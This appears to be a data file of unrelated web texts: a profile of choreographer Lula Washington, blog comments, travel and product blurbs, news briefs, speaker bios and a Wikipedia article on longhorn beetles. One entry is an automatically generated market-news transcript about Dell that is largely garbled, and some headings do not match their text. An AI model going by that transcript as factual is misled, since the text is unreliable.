text:
"There is no gum chewing allowed anywhere inside Lula Washington Dance Theatre," a sign warns on the dance academy's front door. Dwarfed by the big-box retail stores of Crenshaw Boulevard, the unassuming low-rise shell belies its explosive contents -- dance, music, kids, creativity. Enter the House That Lula Built, headquarters for Washington's school and her touring modern dance troupe and a place where you'd better leave fooling around on the sidewalk.
Washington, 59, is Los Angeles' best-known African American choreographer, a community organizer and an advocate for the arts. She takes dancing dead seriously. Directing one of the few companies in the region that commands national attention, Washington is celebrating her troupe's 30th anniversary this year.
Over her career, she's seen the funding environment for the arts deteriorate to a climate that can be described only as hostile.
And yet she survives, initiating new projects as a concert dance maker and lately in film.
She's riding high since choreographing the movements for the Na'vis in "Avatar." And her company has bookings from New Mexico to New Jersey as well as L.A. dates this week at the Cerritos Center for the Performing Arts and later this year at the Luckman Fine Arts Complex, the Hollywood Bowl (with trumpeter Terence Blanchard) and at downtown's Grand Performances.
That's a lot of hustle.
In 2004, as she received California First Lady Maria Shriver's Minerva Award for women's achievement, the choreographer said, "Dance, for me, is life. You came into this world moving. Dance can change your whole life."
Washington's resolute tone offers clues to her staying power; her softness belies strong drive. It manifests in her 12-member touring ensemble, a multiracial tribe of real movers. It's evident in her eye-popping choreographic mélange of jazz, funk and African-derived movement fused into theatrical modern dance. And it explains how she's garnered top African American choreographers, notably Donald McKayle, Katherine Dunham, Donald Byrd, Louis Johnson, Rennie Harris and Christopher Huggins, to create dances for her troupe.
Beyond the concert stage, Washington's brand is deeply associated with community involvement. The school's annual Kwanzaa Celebration, now a Leimert Park Village holiday tradition, provides a robust outlet for neighborhood kids to channel energy while building self-esteem.
Every December for 19 years, Washington has unleashed a pageant of dance virtuosity on a packed house of beaming parents. The engaging performers, many with talent to burn, range from tap-dancing tots to the school's Youth Dance Ensemble on pointe to some serious senior citizens in dashikis and turbans. Directing this wild cabaret is Tamica Washington-Miller, Washington's daughter and protégée, who coaches from the wings as the three-hour show builds to its blistering finale: a squadron of percussionists propelling a half-hour of African dance.
A relative latecomer to dance, Washington grew up the oldest of eight kids in Watts' Nickerson Gardens housing project. Only after she saw a UCLA performance of Alvin Ailey American Dance Theater at age 22 did the onetime nurse conceive of life as a dancer. She committed to her career with the spiritual support of two men: her husband, Erwin, a playwright and journalist who is now the company's executive director ("I told her to pursue what she loves most in life and I'd take care of the money," he remembers), and McKayle, a choreographer who was then working in film and television. He has since contributed several of his works to Washington's troupe, adding historical weight to the repertoire.
Friends in high places sing her praises. Among them is "Avatar" filmmaker James Cameron. Seeking a movement language for his imagined world on the moon Pandora, he hired Washington to create a proprietary way of moving for the 10-foot-tall, blue-skinned members of his cast.
Cameron's producer-partner Jon Landau says in a telephone interview: "Since our early days [developing 'Avatar'] in 2006, we thought about bringing in a movement expert. But we wanted more than motion. We wanted emotion. Lula had the most insight into the motivation behind movement."
In her first meeting with the director, Washington offered Cameron the "third eye" greeting, a light finger touch to the forehead by the Na'vis. Her familiarity with ritual got her the gig.
"We wanted movements that were original but had a touchstone of the familiar." Landau said. "She said, 'This gesture here is a sign of aggression; this gesture here is a sign of acceptance.' A nod means something across cultures. We wanted to lose the nod and find other ways to express those emotions."
Washington's movement motifs pepper the film. The light head-bump greeting between Neytiri and Jake, the laying of hands on Jake when he is accepted into the tribe, the circular torso movement as the hand-holding Na'vis worship at the Tree of Souls, and Neytiri's electric stag leap when the warrior goes on the hunt are all Washington's invention.
Mo'at's backward arch, her hands raised and vibrating, was performed by Washington-Miller in the motion capture process, but it was created by her mother.
According to Landau, having dancers on the set had a strong effect on the movie's culture. "It was stimulating for the actors," he said. "Going through the movement training with Lula helped everyone understand who the Na'vis are."
Ten of Washington's dancers participated in the film's "performance capture" process, especially Washington-Miller, who, wired up, enacted Neytiri's mother, Mo'at. Says Washington: " 'Avatar' came at a good time for my company. It was a challenge, and I was grateful to work with James Cameron. I didn't know how powerful 'Avatar' would be. I was just going to work!"
Another of Washington's longtime supporters, Olga Garay, executive director of the Los Angeles Cultural Affairs Department, included Washington's troupe at a recent showcase for L.A. artists at the International Book Fair in Guadalajara, Mexico. Says Garay, "We were thrilled that they went. There was a performance at an outdoor venue, with seating for 4,000, and the crowd went wild. It was a wonderful, invigorating performance, including [Donald McKayle's] 'Angelitos Negros,' set to a Roberta Flack song sung in Spanish. The audience just loved it. Lula's programming shows a level of outreach and sophistication that has made them one of the leading African American dance troupes in this country. Plus, they have a wonderful affinity for community."
McKayle, now on leave from his post at UC Irvine to write a memoir, sits prominently on the Lula Washington Dance Theatre board of directors. McKayle has contributed "Songs of the Disinherited," "Games," "Rainbow Etudes" and "Death and Eros" to Washington's repertory.
"They do a wonderful interpretation of 'Games,' " he says. "Lula has had gifted interpreters. I'm very happy to lend my good name to her company. It's amazing that they are finally settled in their own building, with parking. I'm proud that she's made it this long."
Recently, Washington is found rehearsing a new work, "www.connections.2010," to music by the Rolling Stones and Michael Jackson's "Earth Song." She's in the largest of four studios in her 14,500-square-foot building, where a family atmosphere prevails (toddlers are welcome, including the Washingtons' two grandchildren). She calls her new piece "a rare time that I've used music that is that popular. I wanted my piece to connect to an event -- the death of Michael Jackson."
The work, which concerns human connection in the Internet age, premieres this weekend at Montclair State University in New Jersey; next it will be performed in Cerritos. The characteristically sassy Lula Washington dancers, cellphones to ears and texting onstage, perform pas de deux with their PDAs.
Also at Cerritos will be "Love Is . . .," a premiere by former Alvin Ailey dancer Huggins. Washington-Miller contributes an exploration of the sibling rivalry between tennis-playing sisters Venus and Serena Williams. At the Luckman, the program will include "Reign," a new work by Philadelphia-based hip-hop king Harris.
Lula Washington's dancers have performed at the Joyce Theater and Lincoln Center Out of Doors in New York and at the Kennedy Center in Washington. They've traveled to Kosovo, Germany, Spain and Mexico. Pending invitations to China, Russia and the Edinburgh Festival in Scotland will pull Lula Washington far from her base at Crenshaw Boulevard and Coliseum Street. And her ability to dream with Cameron catapulted her across the universe to the imagined land of Pandora. "Avatar's" Landau says: "Lula is all about community in a global way. And the movie is about community in a global way. That's why our relationship worked out so well."


text:
Wednesday, November 23, 2011
How 2 Survive Thanksgiving
22 comments:
They sure have taken many spins on Keep calm and Carry On..Pinterest has soo many..:)ReplyDelete
Happy Thanksgiving Carol!
Happy Thanksgiving!ReplyDelete
I'm so sappy.
I love the Holidays.
Ah well.
Have a good one.
Well at the very least, if chaos reigns at my TG table, I'll revisit this post on my laptop,go to that last image of the philosophical mugs, and choose how best to proceed for my mental well-being.ReplyDelete
Thank you, Carol.
I decided last min not to post theReplyDelete
'Shut up and get on with it' cup
"Not only is knitting responsible for the famous French aura of inner mystery, but it keeps hands busy (out of the fridge) and necks well protected. i.e. Why the French neck is so enwrapped both winter and summer in my opinion. "ReplyDelete
Quote of the Year
(by Carol)
You crack me up! :-)
And yes, I can see through your marzipan "vegetables" - naughty, naughty. ;-)
You finally cracked the great mystery: "Why French women don't ever get fat"=== Why, they keep their hands busy by knitting scarves of course!!! Brilliant! Digging out my old knitting needles as I speak. Happy Thanksgiving, Carole! -- veronique (French Girl in Seattle)ReplyDelete
As hostess, I will have to tell the guests to make themselves comfy & find a seat among the resident pets, but no sharing tidbits from the table. altho bribery of certain cats & one dog would insure them of the bests seats.ReplyDelete
An ex-s-i-l was allergic to cats & carrots. Honest, I didn't know! Chocolate too, so I couldn't have served the ones you show. Sure they would be popular with the kiddies tho!
The first are arriving in about 30 (yikes) minutes! I better get the knitting needles out, it's going to be a long, thankful weekend!
Maybe if I sit at the table with a knitted scarf twisted around my neck it will help me to go very light on the gravy and have only one slim piece of pie.ReplyDelete
I'll let you know how it goes....
in the meantime Happy Thanksgiving!
You, too, Carol! happy thanksgiving!ReplyDelete
I am afraid that knitting does not relax me one bit.. but reading the book about it might. :) Well maybe if I have enough Turkey in me when I knit as they say the tripto-whatever in it calms you..:)ReplyDelete
HILAROUS! love your humor! esp love the Christian LaCroix fabric!!! want!!!ReplyDelete
x Deborah
Carol, this is unbelievable. Just posted on le blog today about knitted cakes and macarons!ReplyDelete
I can't knit for sticky toffee but this is fun and if Dr Steve says it... Love that Mona Lisa jigsaw and definitely need to eat these kind of veggies today. Happy Thanksgiving, my friend. J xo
Neither of us knit JillReplyDelete
No wonder we're not so serene as the Mona Lisa :(
I've tried too many times to count and failed with flying colors.
c'est la vie
At least I can push a pencil and you make the best macarons on the planet - nothing to sniff at.
Enjoy the holiday Carol... Happy Thanksgiving... you are obviously well prepared... xvReplyDelete

subset: commoncrawl


text:
Oppenheimer Stadium
Shingwedzi lies in the northern part of the Kruger National Park in the heart of mopane country. A scenic game drive along the Shingwedzi River in a south-easterly direction towards the Kanniedood Dam is one of the most rewarding drives in the Park. Waterbuck, nyala, kudu and elephant are often seen here and the bird life is prolific. Staying overnight at Shingwedzi is an experience that will last a lifetime. It is a rustic camp that still carries the essence of the bush and is untouched by modern technology. Experience magical evenings where the accommodation is arranged in two separate circles and the glow emanating from braai (barbecue) stands cast a tranquil spell.


text: Clean out your scrap box or use fat quarters to make this queen size quilt. The layout is a series of flying goose blocks which are made up of 2 sizes of half square triangles. Twin and king layouts are included as well. Optional sunflower and vine applique is available for the pillow top and corners.


text:
Christie Praises Sandy Relief Fund Run by Wife
New Jersey Governor Chris Christie is defending the delay in dispersing $32 million in donations from a Superstorm Sandy relief fund headed by his wife.
Christie says the charity being run by Mary Pat Christie was never meant to provide immediate relief to those recovering from the mega-storm that hit the state last October.
The Asbury Park Press reported Sunday that none of the relief money that came pouring in after Sandy has reached victims.
Mary Pat Christie told the paper that she is being methodical to ensure the money is spent properly.
She says the fund was meant to help refinance rebuilding efforts, not provide short-term relief. The governor reiterated that claim Monday after a visit to a site for developmentally disabled residents on Monday.


text:
Chairman and CEO, General Electric (2001–2017)
Types: Entrepreneur, Male, NEW Speaker
Bio Info
Having led an industrial titan through a digital revolution that upended traditional assumptions, former Chairman and CEO of General Electric Jeff Immelt motivates organizations to embrace change and shares firsthand lessons on how to cultivate innovation.
Topics: Achievement - Business, Achievement - Personal, American Politics, Big Data, Business Growth/Strategy/Trends, Change: Managing/Leading It, Consumer Trends, Corporate Culture, Corporate Governance, Current Events, Economic Forecast, Emerging Markets, Financial Markets, Global Health, Global Trade, Government Regulation, Health Care Economics and News, Health Care Policy, Health Care Science, Information Technology, Innovation, Leadership, Peak Performance
Conservative Political Analyst; Fox News Contributor; Acclaimed Radio Host, The Laura Ingraham Show; New York Times Best-Selling Author; Editor-in-Chief and Co-Founder, LifeZette
Bio Info
One of the most trusted and widely-recognized conservative voices, Laura Ingraham offers a passionate and captivating look at the world today that invariably has audiences talking long after her presentation.
Bio Info
As the U.S. and global economies move toward recovery, Ron Insana applies his journalistic perspective to how Wall Street, Main Street and Washington shape what the new normal means for all of us.
Best-Selling Author, Leonardo da Vinci (2017), The Innovators: How a Group of Hackers, Geniuses and Geeks Created the Digital Revolution (2014) and Steve Jobs (2011); Acclaimed Historian and Journalist; Professor of History, Tulane University
Types: Author, Male, Media, Top Executives , University Professor
Bio Info
Best-selling author and highly acclaimed journalist, Isaacson gives voice to the historical figures and business icons who have shaped and transformed our nation and the world.
Topics: Achievement - Business, Achievement - Personal, American Politics, Arts & Entertainment, Branding, Corporate Culture, Corporate Social Responsibility, Courage, Creativity, Current Events, Design, Education, Information Technology, Infrastructure, Innovation, Inspiring Lives , Leadership, Marketing, Media and Journalism, Motivation, Overcoming Obstacles and Challenges, Peak Performance, Personal Growth, Sales Skills and Motivation, Science, Social Media/New Media, Teamwork, Workforce Issues


text:
Dell Shares Up On Buyout Talks, U.S. Futures Low
Dow Jones reporter Matt Jarzemsky joins the News Hub to preview the global markets; the German economy is showing signs of slowing, U.S. stock futures are lower, and shares of Dell are up on talks of a buyout. Photo: Getty Images.
This transcript has been automatically generated and may not be 100% accurate.
... the the ... these lies with ... the STS one ... great to see as the time ... he said ... what are we talking lots on the market so the stock features a little bit lower so far ... um overnight we had some economic data from Germany that showed just ... a slowdown in the area economy Germany of course is been you know kind of of a place of relative strength amid all this turmoil that would see in Europe ... um yeah and yet keeping us ... quite a bit of data ... by as well as the ... retail sales report that I came early this morning as well as some of ... you know New York area manufacturing ... was three so he went in today ... so we got thirsty and Dell ... aam on the ... front page of The Wall Street Journal today ... some private equity and potential buyer interest ... aam and in a PC stocks instead completely crushed ... and don't ... see us ... one of the few things that has made this ... kind of awful PC market environment would pick up the stock ... Uncle Scott when our other home builder reported earnings on ... homebuilders year by contrast roots in the best performing stocks last year so it'll be inching to see you know ... they're they're profit soared in the fourth quarter and that'll be enough to keep the stock going ... into the can ... the stock price at ... any other big market is likely to happen to make up most of it in the third term stock for today and then a amounts of Lululemon which raises over a fiscal fourth-quarter ... earnings Brendan forcast so ... one ... anthemic event prices going down there ... could this be yet that that that ... the trend of choice for many ... at well exercise freaks I should say and do a puzzle what I was intrigued by leaving them in the PCC ... women sticking here in York walking around as if it's like to hike the syndicate has always been ... exorcized here is goes well beyond


text:
WikipediaRead full entry
Longhorn beetle
|This article may be expanded with text translated from the corresponding article in the German Wikipedia. (December 2013)
Click [show] on the right to read important instructions before translating.
|This article needs additional citations for verification. (June 2011)
The longhorn beetles (Cerambycidae; also known as long-horned beetles or longicorns) are a cosmopolitan family of beetles, typically characterized by extremely long antennae, which are often as long as or longer than the beetle's body. In various members of the family, however, the antennae are quite short (e.g., Neandra brunnea, figured below) and such species can be difficult to distinguish from related beetle families such as Chrysomelidae. The family is large, with over 20,000 species described, slightly more than half from the Eastern Hemisphere. Several are serious pests. The larvae, called roundheaded borers, bore into wood, where they can cause extensive damage to either living trees or untreated lumber (or, occasionally, to wood in buildings; the old-house borer, Hylotrupes bajulus, being a particular problem indoors). A number of species mimic ants, bees, and wasps, though a majority of species are cryptically colored. The rare titan beetle (Titanus giganteus) from northeastern South America is often considered the largest (though not the heaviest, and not the longest including legs) insect, with a maximum known body length of just over 16.7 centimetres (6.6 in).[2]
As with many large families, different authorities have tended to recognize many different subfamilies, or sometimes split subfamilies off as separate families entirely (e.g., Disteniidae, Oxypeltidae, and Vesperidae);[3] there is thus some instability and controversy regarding the constituency of the Cerambycidae.[4] There are few truly defining features for the group as a whole, at least as adults, as there are occasional species or species groups which may lack any given feature; the family and its closest relatives, therefore, constitute a taxonomically difficult group, and relationships of the various lineages are still poorly understood.[5]
There are nine subfamilies:[6]
- Apatophyseinae Lacordaire, 1869
- Cerambycinae Latreille, 1802
- Dorcasominae Lacordaire, 1869
- Lamiinae Latreille, 1825
- Lepturinae Latreille, 1802
- Necydalinae Latreille, 1825
- Parandrinae Blanchard, 1845
- Prioninae Latreille, 1802
- Spondylidinae Audinet-Serville, 1832
Notable genera and species[edit]
- Moneilema – cactus longhorn beetles
- Anoplophora chinensis – citrus long-horned beetle
- Phymatodes nitidus
- Anoplophora glabripennis – Asian long-horned beetle
- Tetraopes tetrophthalmus – red milkweed beetle
- Tetropium fuscum - a major Canadian pest
- Desmocerus californicus dimorphus – valley elderberry longhorn beetle
- Petrognatha gigas – giant African longhorn
- Rosalia alpina – Rosalia longhorn
- Aridaeus thoracicus – tiger longicorn (Australia)
See also[edit]
- ^ "Cerambycidae Latreille, 1802". Integrated Taxonomic Information System. Retrieved June 6, 2011.
- ^ Max Barclay (2010). "Titanus giganteus Linnaeus (1771)". Natural History Museum. Retrieved June 6, 2011.
- ^ Sergio Antonio Vanin & Sergio Ide (2002). "Classificação comentada de Coleoptera" [An annotated classification of the Coleoptera]. In C. Costa, S. A. Vanin, J. M. Lobo & A. Melic. Proyecto de Red Iberoamericana de Biogeografía y Entomología Sistemática PrIBES 2002 (PDF). Monografias Tercer Milenio (M3M) (in Portuguese) 3. pp. 193–206. ISBN 84-922495-8-7.
- ^ Miguel A. Monné (2006). "Catalogue of the Cerambycidae (Coleoptera) of the Neotropical Region. Part III. Subfamilies Parandrinae, Prioninae, Anoplodermatinae, Aseminae, Spondylidinae, Lepturinae, Oxypeltinae, and addenda to the Cerambycinae and Lamiinae" (PDF excerpt). Zootaxa 1212: 1–244. ISBN 1-877407-96-8.
- ^ Arnett, et al. (2002) American Beetles, Vol. 2. CRC Press, 861 pp.
- ^ Patrice Bouchard, Yves Bousquet, Anthony E. Davies, Miguel A. Alonso-Zarazaga, John F. Lawrence, Chris H. C. Lyal, Alfred F. Newton, Chris A. M. Reid, Michael Schmitt, S. Adam Ślipiński, Andrew B. T. Smith (2010). "Family-group names in Coleoptera (Insecta)". ZooKeys 88: 1–972. doi:10.3897/zookeys.88.807. PMC 3088472. PMID 21594053.
Further reading[edit]
- Monné, Miguel A. & Hovore, Frank T. (2005) Electronic Checklist of the Cerambycidae of the Western Hemisphere. PDF Cerambycids.com
External links[edit]
|Wikimedia Commons has media related to Cerambycidae.
|Wikispecies has information related to: Cerambycidae
- Gallery Photo gallery of worldwide long-horned beetles
- Photo gallery "Longhorn beetles (Cerambycidae) of the West Palaearctic Region"
- CDFA Cerambycidae of the New World
- Cerambycidae of French Guiana
- National Museu, Rio, Brazil Holotype images
- Iberodorcadion Coleoptera, Cerambycidae, Dorcadion - RedIRIS
- VIDEOS - Longicornes (Dorcadion, Cerambycidae,Coleoptera)
- Cerambycidae of Borneo pdf
- BugGuide.net - Longhorned Beetles (Cerambycidae)
- Anoplophora chinensis, citrus longhorned beetle on the University of Florida / Institute of Food and Agricultural Sciences Featured Creatures website
- Coleoptera: Cerambycidae, University of Florida, Dept. of Entomology and Nematology
- Wood-boring beetles of the World


text:
Poor overall performance of emerging-market high-yield debt is masking the positive fundamentals of individual companies, says Jon Brager, senior analyst at Hermes Credit.
EM growth: The March issue of Spectrum showed how the emerging market (EM) high yield sector is growing rapidly and driving greater performance dispersion within major benchmarks. Adjusting for longer duration or a higher spread – or both – among bonds, we calculated that EM issuance grew to 22.5% of the global high-yield market from 2008 to last March, compared to 21.5% for Western Europe and 55.4% for North America.
No man's land: EM high yield fast became a no-man's land in 2013 as investors retreated on tapering fears. Absolute spreads of 686bps indicate that valuations are falling to extreme levels and now there are murmurings of a turnaround. Since the primary force behind the sell off was driven by US central-bank policy, rather than the credit fundamentals of EM high-yield issuers, investors looking closely at this growing section of the market can find positive credit stories.
Pulp fiction: In our view, Sappi, the South African paper producer, is one of them. It is the world's largest manufacturer of glossy paper and throughout 2013 continued to transform its business to become the world's largest producer of chemical cellulose as well. The material, which is derived from dissolving wood pulp, is used in luxury clothing and sportswear. Sappi sources it from its eucalyptus hardwood plantations.
Recent results tell the story:
- Cellulose provides a margin of about 30%, compared to 4%-6% for paper, and delivers 50% of the company's EBITDA – up from zero last year.
- In Q2 Sappi generated $171mn EBITDA, a 36% year-on-year increase.
- Now that it has finished converting its mills to prioritise cellulose production, management aims to reduce net debt by $200mn to £2.2bn by the end of the year.
- This aim, combined with the higher cellulose margins, make it likely that net debt will fall and free-cash-flow should increase in the coming quarters.
Sappi faces short-term obstacles: margins for its North American business were almost halved by harsh weather and trucker strikes, and it is still negotiating with Dutch unions about shifting production to other mills in Europe. But we think these are bumps in the road, not a divergence.
Paying attention: We don't think Sappi is the only positive story – or the best – from the EM high-yield sector. But it shows that opportunities exist in this market beyond tapering's toll. To us, this makes sense, since not only does the EM high-yield sector contribute more to index returns than Western Europe, but many securities in this universe are undervalued too.
IASB seeks to clarify the "cashness"of the king
The Altice falcon swoops on US prey


text:
Understanding Audi
- Servotronic
Servotronic speed-dependent power steering matches to the handling characteristics of the vehicle for a pleasant driving feel.
When the vehicle is manoeuvred at low speeds – for instance when getting into or out of a parking space – power assistance is at its maximum. As a result, the vehicle can be steered very easily. As the vehicle reaches higher speeds, an electronic system gradually reduces the level of power assistance. This allows the driver to steer the vehicle more precisely than is possible with a conventional power steering.
When negotiating parking spaces, manoeuvring slowly and driving at low speed, the driver can easily steer the vehicle and does not need to exert great force.
At higher speeds, the steering responds directly and precisely, providing a sporty driving experience. The direct steering response at high speeds enables the driver to feel the immediate contact with the road surface.


text: 6-10 Ibrahim Djambo of Three Rivers JC, MO will make Clemson his third official visit stop this weekend. Djambo has also visited Loyola of Chicago and SIU Carbondale. He will also visit Saint Louis and Southern Miss according to his coach. "He will take all the visits before deciding," coach Gene Bess said. Clemson has been recruiting Djambo since February. Brad Brownell has been out to see him and Bess said Djambo can fill a role for the Tigers. "They are interested in a 6-10 four man," the coach said. "They say that's what they need. He's excited about going there." Djambo is a native of Mali and has two years of eligibility remaining. He averaged 18 points, 9 rebounds and 2 blocks per game this season. He will join 6-10 Sidy Mohamed Djitte as official visits for Clemson this weekend.


text:
The ES series was designed to be a great and versatile speaker that will last for years under continual travel and use. With all the features of speakers costing much more than the Gemini ES12P Powered PA Speaker comes in at a definite value with all of the detail and loudness you need in your sound.
The sound of the ES-12P loudspeaker can only described as elegant. The 600W Class AB amplifier offers the best mix of power, linear sound reproduction, and pleasing musicality. Other amplifiers hype the high-end to make it seem like the music is louder, but the ES series provides the true sound in all its fullness. The custom designed Class AB amplifier is in a league of its own when it comes to far reaching and great sound at an affordable price.
Gemini ES12P Powered PA Speaker Features:
MSRP: $12.50 Save: $4.55 (36%)
MSRP: $24.99 Save: $9.04 (36%)
MSRP: $91.99 Save: $48.04 (52%)
MSRP: $49.99 Save: $18.04 (36%)
MSRP: $24.99 Save: $13.24 (53%)
MSRP: $39.95 Save: $15.00 (38%)
MSRP: $6.99 Save: $1.00 (14%)
What started as a simple string and pedal sales catalog has grown exponentially over the past thirty years. The early days were a time where catalogs didn't have much of a presence in the industry, but what began as a college dorm room operation grew rapidly. In 1986 we moved to a full product offering and 64-page catalog, which over the years has grown to 162 pages. Join the AMS family and get your free catalog now!
Copyright © 1996-2018 American Musical Supply, Inc. All rights reserved. American Musical Supply reserves the right to correct pricing and/or product specifications in the event of typographical errors found in our print catalog or on our website. If a product is listed at an incorrect price due to such errors or because of inaccurate information received from a supplier, American Musical Supply shall have the right to refuse or cancel any orders placed, whether or not the order has been confirmed and your credit card charged. If your credit card has already been charged for the purchase and your order is canceled, American Musical Supply will issue a credit to your credit card account in the amount of the charge.


text:
The most important meal of the day just got a lot more interesting, as SONIC Drive-In announced two exciting changes to its breakfast menu. Guests can substitute fluffy egg whites in any breakfast menu offering with eggs, including a wide variety of Breakfast Burritos and the ever-popular Breakfast Toaster Sandwiches. And now, they can pair their favorite breakfast with a cup of SONIC's Red Button Roast coffee, made with 100 percent Arabica beans and customized with one of five new flavors.
It is widely known that egg whites are a good source of protein, helping to maintain energy levels throughout the day. Because they contain no cholesterol, egg whites are a good choice for individuals trying to reduce their cholesterol intake. Substituting egg whites for regular eggs in any of the SONIC breakfast items also reduces the total calorie count by up to 60 calories.
"We continue to evolve our menu to mirror the preferences of our guests, and many of our guests want light, healthy breakfast choices," says chef Claes Petersson, vice president of product innovation at Sonic. "In true SONIC style, instead of offering just one or two egg white options, we deliberately chose to let guests enjoy egg whites in any of our breakfast items, giving even more opportunities for customization and variety. Our guests can lose the yolks without losing a bit of flavor."
SONIC's egg white offerings join a growing roster of "Better for You" menu items at SONIC. Earlier this year, SONIC launched a new line of Green Iced Tea with five new flavor mix-ins made without sugar, artificial flavors, or artificial colors, upping the total number of reduced- or zero-calorie drink options to well over 20 thousand. In addition, SONIC is currently serving a grilled chicken sandwich on a whole wheat Ciabatta bun, packed with 10 grams of whole grains.
"The SONIC menu is all about choice," says James O'Reilly, chief marketing officer at Sonic Corp. "If you want a big burger with a side of chili-cheese Tots, we've got you covered. If you want a lighter snack, we have that, too. With the addition of egg whites to our breakfast lineup and the new, lighter items coming down the pipeline, we'll have even more choices for our guests in the near future."
To further expand its breakfast, SONIC is raising the bar on coffee with its Red Button Roast blend and five new flavors for customization: Chocolate, Caramel, French Vanilla, Hazelnut, and English Toffee. Guests can design their brew to start the day or perk up in the afternoon since SONIC's entire breakfast menu will continue to be available all day.
The five times weekly e-newsletter that keeps you up-to-date on the latest industry news and additions to this website.


text:
Keiva Column No Longer a Fixture in Highways
March 10, 2011 by RVBusiness · 1 Comment
After 15 years, Joe and Vicki Kieva's popular column "RV Insight" will no longer appear in Highways, the monthly magazine of the Good Sam Club. The final column will appear in May, the RV News Service has reported.
"We got our pink slip," said Joe Kieva.
Highways editor John Sullaway would not comment, but said an announcement in a future issue of the magazine would explain.
The Kievas began writing the column in February 1996. "Vicki and I were teaching classes about RVing at 11 Southern California community colleges back then," said Joe. "Sue Bray of the Good Sam Club heard us speak and asked us if we wanted to write for the magazine. After three requests, we said yes."
The Kievas spent the next 15 years writing their column and speaking at RV rallies, where they were often the headliners. When the RV economy hit hard times a few years ago, invitations to speak became few and far between.
In each column, the Kievas would separately answer a question from an RVer in a "he says, she says" style, most often about the RV lifestyle rather than technical issues.
Now, with no speaking engagements and plenty of time on their hands, the Kievas are preparing to hit the road for four months in their 36-foot Country Coach motorhome. "We'll just bum around the country practicing what we preached through the years," said Joe. "We'll stop at places we didn't have time to stop at before."
The Kievas will continue to write a weekly column "RV Notebook," which is part of the RVtravel.com blog network.


text:
Gibson SG Standard P-90 Left Handed Models: New 2012 Gibsons
Gibson SG Standard P-90s LH
Guitar giants like Gibson and Fender have always delivered quality instruments, exuding elegance and character. But there seems to be just one recurring complaint with some of the best guitars on the market, and that is... they don't always come in left-handed versions. It might not seen like a big issue for some, but finding the guitar of your dreams and it not being available "on your side", well, that's just not fair. Most companies do try to accommodate left-handed players but not every model they manufacture is available for the leftie guitarists of the world.
Left Handed SG Standard with P-90s
Introducing the all-new, long awaited Gibson SG Standard with P-90s - AVAILABLE IN LEFT-HANDED MODELS!
The SG arrived in 1961 and has been one of the most admired and respected guitars that the world has known. The SGs originally featured humbucking pickups, but over the years many players have grown to love the hot, raw sound of the P-90 (used in the SG Special and Junior models). Giving you a hybrid of features, the appointments of the standard model with addition of P-90s, this SG Standard with authentic P-90s is equipped to take you into raw and rugged sonic territory.
This SG Standard features a body crafted from solid mahogany, which makes this SG light and resonant with a rich, clear tone.
The body is finished in a hand-sprayed, high gloss nitrocellulose lacquer and is available in two colours, the timeless Ebony and the classic Heritage Cherry. Other classic features include the iconic, a-symmetrical "double-horned" deep cutaways, SG rounded profile neck, 5 ply late '60s style scratchplate and vintage style tuners.
This SG features a tone anchor in the form a zamak tune-o-matic bridge coupled with a stopbar tailpiece.
With chrome plated TonePros keystone vintage-style tuners, and a baked maple fretboard with 22 medium jumbo frets, a 12" radius, vintage cream binding and katalox and figured acrylic trapezoid inlays.
"A smoking slab of vintage mojo" - Gibson
Key Features
- Authentic P-90 pickups for that "soap bar bite"
- Alnico V bar magnets wound with 42 AWG wire for a meaty and thick tone
- Available in both left and right handed models
- Mahogany body with high gloss finish
- Iconic double horned cutaway design
- Tune-o-matic bridge
- Stopbar tailpiece
Check out the whole range of Gibsons for 2012
- SG Standard P-90
- SG 61 Satin Finish
- Les Paul Studio Satin
- Les Paul Junior Special P-90s
- Les Paul Studio Shred
- Les Paul Junior Special with B Bender
- Moderne
- SG Diablo with Tremolo
- Derek Trucks Signature SG
- Jeff Tweedy SG '61 with Lyre
- Les Paul Junior Special with Humbuckers
- Ace Frehley Budokan Les Paul Custom
- Zakk Wylde Vertigo Les Paul
- Paul Landers Signature Les Paul


text:
orchestrated soundtrack or filmmusic – great for news, trailer, podcast, film , and many more. perfect as loop in your projects.
Orchestra, choir, strings, heroic, winning, fighting, battle, game, drums, action, adventure, hero, movie, flash, web, feel excited, hearten up, encouragement
Look for the more great songs and loops in my portfolio.


text:
The term or word used to define someone as a very sexually active rebellious sailor. They may have large intensive eyes that stare into your very soul. And clothes that are so sexy, everything they say makes sense.
Oposourus! You can't do that to women!
Oposourus! He meant get the juice!
Oposourus! He meant get the juice!
by Oposourus January 20, 2013
buy the domain for your recipe blog


text:
Voiture neuve
Hello Sarah,
I've something to ask you about your post : you said that the best solution to display a website on an iPhone is not to put some "display:none;" on your css for mobile devices. You spoke about bandwith. Don't you think that if you redirect your mobile users with javascript, you'll use also some bandwith ?
The javascript is executed when the total page is loaded. And this page is not the mobile page, but the one for computers. So, I think that the best practice is server-side redirection with PHP or Apache, yes.


text: Karma Lounge Time Out Says Details Users Say Recommended This outlet has not yet been reviewed by Time Out Dubai. Have you been there? Leave a comment and tell us what you think! Location: Fateh Tel: 17 312 700 Travel: Coral Bay, Fateh Corniche Cuisine: Bar Food Add Your Comment Sign in Email Password Sign in Not Registered? Click here to register Login with Google+Login with FacebookLogin with Twitter Would You Go Back To This Restaurant yes no Best For select Romantic Business lunch Brunch served Family friendly Your Rating (Min. 1 star, zero stars will be treated as unrated) Decor Service Food Ambience Value Captcha Subscribe to Time Out Bahrain newsletter Submit No data available SIMILAR ARTICLES Atmosphere Olivio's Italian Restaurant Shogun Japanese Restaurant Café Vienna


text:
Search our map for the best Vega Alta hotels
Use our map to find hotels near the Vega Alta area or attractions you want to visit.
Use our map to find hotels near the Vega Alta area or attractions you want to visit.
Feel confident you've booked the perfect stay. Read our real guest reviews before you book.
Find hotel deals in Vega Alta, along with apartments, hostels and other accommodation with Skyscanner Hotels. Choose and book from over 3 hotels in Vega Alta or alternatively, compare hotels near popular landmarks, such as , and .
Looking for a specific hotel property in Vega Alta? Then simply enter that property into the search box above.
Need some inspiration on where to stay? Top rated cheap hotels in Vega Alta include Aquarius Vacation Club at Dorado del Mar, Embassy Suites by Hilton Dorado del Mar Beach Resort, and Hyatt Residence Club Dorado, Hacienda Del Mar based on user reviews.
Skyscanner hotels is a fast, free and simple way to organise your stay. In a few clicks you can easily search, compare and book your Vega Alta accommodation by clicking directly through to the hotel or travel agent website. No fees are added to your stay by booking with us.
To get started, simply add your chosen travel dates to the search box above and let us find cheap hotel deals for you. Or alternatively, select from the hotel options above.


text:
Garage Glam: Clean & Neat Garage Inspiration
The garage — probably the most unloved space in your home (if you even have one). Not any more! These garage inspirations may help you create a space that puts the "fun" in functional.
